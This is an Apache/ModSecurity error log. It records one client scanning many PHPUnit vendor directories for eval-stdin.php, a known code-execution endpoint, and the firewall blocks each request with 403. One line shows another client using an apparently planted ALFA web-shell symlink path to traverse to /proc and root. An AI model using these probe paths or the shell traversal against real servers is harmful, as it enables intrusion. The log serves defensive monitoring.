[Sat Oct 24 20:43:13.684020 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Qod3lMH_Ldre-PZtuaQAAACk"]
[Sat Oct 24 20:43:13.684466 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Qod3lMH_Ldre-PZtuaQAAACk"]
[Sat Oct 24 20:43:13.685284 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qod3lMH_Ldre-PZtuaQAAACk"]
[Sat Oct 24 20:43:13.855137 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qod3lMH_Ldre-PZtuagAAACk"]
[Sat Oct 24 20:43:13.855565 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qod3lMH_Ldre-PZtuagAAACk"]
[Sat Oct 24 20:43:13.856478 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qod3lMH_Ldre-PZtuagAAACk"]
[Sat Oct 24 20:43:14.026680 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtuawAAACk"]
[Sat Oct 24 20:43:14.027160 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtuawAAACk"]
[Sat Oct 24 20:43:14.027995 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qot3lMH_Ldre-PZtuawAAACk"]
[Sat Oct 24 20:43:14.145167 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 3.229.2.217:10455] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/radix_tree_node/store_user
[Sat Oct 24 20:43:14.198468 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtubAAAACk"]
[Sat Oct 24 20:43:14.198939 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtubAAAACk"]
[Sat Oct 24 20:43:14.199790 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qot3lMH_Ldre-PZtubAAAACk"]
[Sat Oct 24 20:43:14.371176 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtubQAAACk"]
[Sat Oct 24 20:43:14.371654 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtubQAAACk"]
[Sat Oct 24 20:43:14.372532 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qot3lMH_Ldre-PZtubQAAACk"]
[Sat Oct 24 20:43:14.557274 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtubgAAACk"]
[Sat Oct 24 20:43:14.557764 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtubgAAACk"]
[Sat Oct 24 20:43:14.558588 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qot3lMH_Ldre-PZtubgAAACk"]
[Sat Oct 24 20:43:14.731674 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtubwAAACk"]
[Sat Oct 24 20:43:14.732190 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtubwAAACk"]
[Sat Oct 24 20:43:14.733110 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qot3lMH_Ldre-PZtubwAAACk"]
[Sat Oct 24 20:43:14.906417 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtucAAAACk"]
[Sat Oct 24 20:43:14.907032 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qot3lMH_Ldre-PZtucAAAACk"]
[Sat Oct 24 20:43:14.908242 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qot3lMH_Ldre-PZtucAAAACk"]
[Sat Oct 24 20:43:15.076463 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtucQAAACk"]
[Sat Oct 24 20:43:15.076940 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtucQAAACk"]
[Sat Oct 24 20:43:15.077758 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qo93lMH_Ldre-PZtucQAAACk"]
[Sat Oct 24 20:43:15.249023 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtucgAAACk"]
[Sat Oct 24 20:43:15.249545 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtucgAAACk"]
[Sat Oct 24 20:43:15.250437 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qo93lMH_Ldre-PZtucgAAACk"]
[Sat Oct 24 20:43:15.430149 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtucwAAACk"]
[Sat Oct 24 20:43:15.430590 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtucwAAACk"]
[Sat Oct 24 20:43:15.431419 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qo93lMH_Ldre-PZtucwAAACk"]
[Sat Oct 24 20:43:15.609976 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtudAAAACk"]
[Sat Oct 24 20:43:15.610445 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtudAAAACk"]
[Sat Oct 24 20:43:15.611269 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qo93lMH_Ldre-PZtudAAAACk"]
[Sat Oct 24 20:43:15.791860 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtudQAAACk"]
[Sat Oct 24 20:43:15.792336 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qo93lMH_Ldre-PZtudQAAACk"]
[Sat Oct 24 20:43:15.793222 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qo93lMH_Ldre-PZtudQAAACk"]
